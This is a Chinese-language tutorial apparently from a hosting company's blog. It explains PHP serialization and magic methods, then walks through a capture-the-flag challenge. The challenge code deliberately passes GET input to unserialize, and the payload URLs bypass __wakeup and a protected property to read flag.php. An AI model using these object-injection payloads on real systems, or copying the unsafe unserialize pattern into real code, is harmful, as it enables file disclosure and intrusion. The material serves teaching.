您好,登錄后才能下訂單哦!
本篇內容介紹了“php序列化與反序列化的概念”的有關知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領大家學習一下如何處理這些情況吧!希望大家仔細閱讀,能夠學有所成!
(反)序列化給我們傳遞對象提供了一種簡單的方法。serialize()將一個對象轉換成一個字符串,unserialize()將字符串還原為一個對象,在PHP應用中,序列化和反序列化一般用做緩存,比如session緩存,cookie等。
序列化是將變量轉換為可保存或傳輸的字符串的過程;在php中是使用serialize()方法實現將類進行序列化,下面是一段php序列化代碼,可以通過注釋理解代碼含義。
<?php class LessSafe //定義一個LessSafe類 { public $name = 'LessSafe'; //定義一個name變量 public $age = 2; //定義一個age變量 function getname() //定義一個方法 { echo $this->name; } } $s = new LessSafe(); //創建一個對象 echo $s->getname()."</br>"; //調用方法 $s_serialize = serialize($s); //講對象進行序列化 print_r($s_serialize); //打印序列化結果 ?>
序列化運行結果
反序列化結果:O:8:"LessSafe":2:{s:4:"name";s:8:"LessSafe";s:3:"age";i:2;}
O為對象Object,8為LessSafe對象名長度,2為{}內屬性的個數,{}內為對象的屬性,s為類型string字符串 4為屬性名的長度分號;隔開后是該屬性的值s為值類型為string字符串類型 4位屬性名的長度 name就是屬性名了(屬性名為string類型要使用雙引號) 8為值的長度 LessSafe是值 后面age屬性與name屬性類似除了值數據類型為整型i值為2
<?php $b=unserialize($_GET[H]); //通過get傳參將序列化內容傳進來,使用unserialize進行反序列化處理 print_r($b); //打印反序列化結果 ?>
我在這里使用了上文序列換的結果傳遞到服務端進行處理并查看打印結果
http://192.168.75.138/fxlh.php?H=O:8:"LessSafe":2:{s:4:"name";s:8:"LessSafe";s:3:"age";i:2;}
在介紹反序列化之前,我們需要了解一下魔法函數,__construct當一個對象創建時調用(constructor);__destruct當一個對象被銷毀時調用(destructor);__toString當一個對象被當作一個字符串時使用;__sleep當對一個對象序列化時,php就會調用__sleep方法(如果存在的話),__wakeup在反序列化時,php就會調用__wakeup方法(如果存在的話)。
下面是調用__construct、__destruct、__toString時案例
<?php class TestClass { public $variable = 'This is a string'; //一個變量 public function PrintVariable() //一個簡單的方法 { echo $this->variable.'<br />'; } public function __construct() //Constructor { echo '__construct<br />'; } public function __destruct() //Destructor { echo '__destruct<br />'; } public function __toString() //toString { return '__toString<br />'; } } $object = new TestClass(); //創建一個對象,__construct會被調用 $object->PrintVariable(); //創建一個方法 echo $object; //對象被當作一個字符串,toString會被調用 //php腳本要結束時,__destruct會被調用 ?>
下面是調用__sleep時案例
<?php class LessSafe //定義一個LessSafe類 { public $name = 'LessSafe'; //定義一個name變量 public $age = 2; //定義一個age變量 function getname() //定義一個方法 { echo $this->name; } function __sleep() //定義__sleep魔法函數 { echo "When using serialize, __sleep() will be called"; } } $s = new LessSafe(); //創建一個對象 echo $s->getname()."</br>"; //調用方法 $s_serialize = serialize($s); //講對象進行序列化 print_r($s_serialize); //打印序列化結果 ?>
下面是調用__wakeup時的案例
<?php class LessSafe //定義一個LessSafe類 { public $name = 'LessSafe'; //定義一個name變量 public $age = 2; //定義一個age變量 function getname() //定義一個方法 { echo $this->name; } function __wakeup() { echo"When using unserialize, __wakeup() will be called"; } } $s = new LessSafe(); //創建一個對象 echo $s->getname()."</br>"; //調用方法 unserialize($_GET[id]) ?>
下面是我編寫的一道簡單的ctf試題,試題代碼有一個LessSafe類,類中有一個變量,兩個魔法函數,本題重點突破點在__destruct魔法函數,file名字也是可控的,會導致反序列化漏洞讀取flage.php內容。本題有連個難點,1、需要繞過__wakeup 2、需要繞過$file的protected屬性。
<?php class LessSafe{ protected $file='index.php'; function __destruct(){ if(!empty($this->file)) { show_source($this->file); } } function __wakeup(){ $this->file='index.php'; } } if(!isset($_GET['file'])){ show_source('index.php'); } else{ unserialize($_GET['file']); } //flag in flag.php ?>
http://192.168.75.146/ctf/index.php?file=O:8:"LessSafe":1:{s:4:"file";s:8:"flag.php";}
構造上述payload后發現沒有讀取到flag.php文件,因為LessSafe類中有__wakeup魔法函數,在使用unserialize會執行__wakeup魔法函數,將$file='index.php'
只需要構造序列化時,大于序列對象屬性個數即可繞過__wakeup
http://192.168.75.146/ctf/index.php?file=O:8:"LessSafe":2:{s:4:"file";s:8:"flag.php";}
將屬性個數改成2,測試payload
what??,小朋友你是否有很多問號
那在仔細讀一遍源代碼吧,發現源代碼中$file的屬性時protected,經過學習發現有繞過protected方法
經過學習得到最終payload
http://192.168.75.146/ctf/index.php?file=O:8:"LessSafe":2:{S:7:"\00*\00file";s:8:"flag.php";}
\00是0的二進制,S是序列換二級制表示方法(大概是這個意思)
最終拿到flag
“php序列化與反序列化的概念”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識可以關注億速云網站,小編將為大家輸出更多高質量的實用文章!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。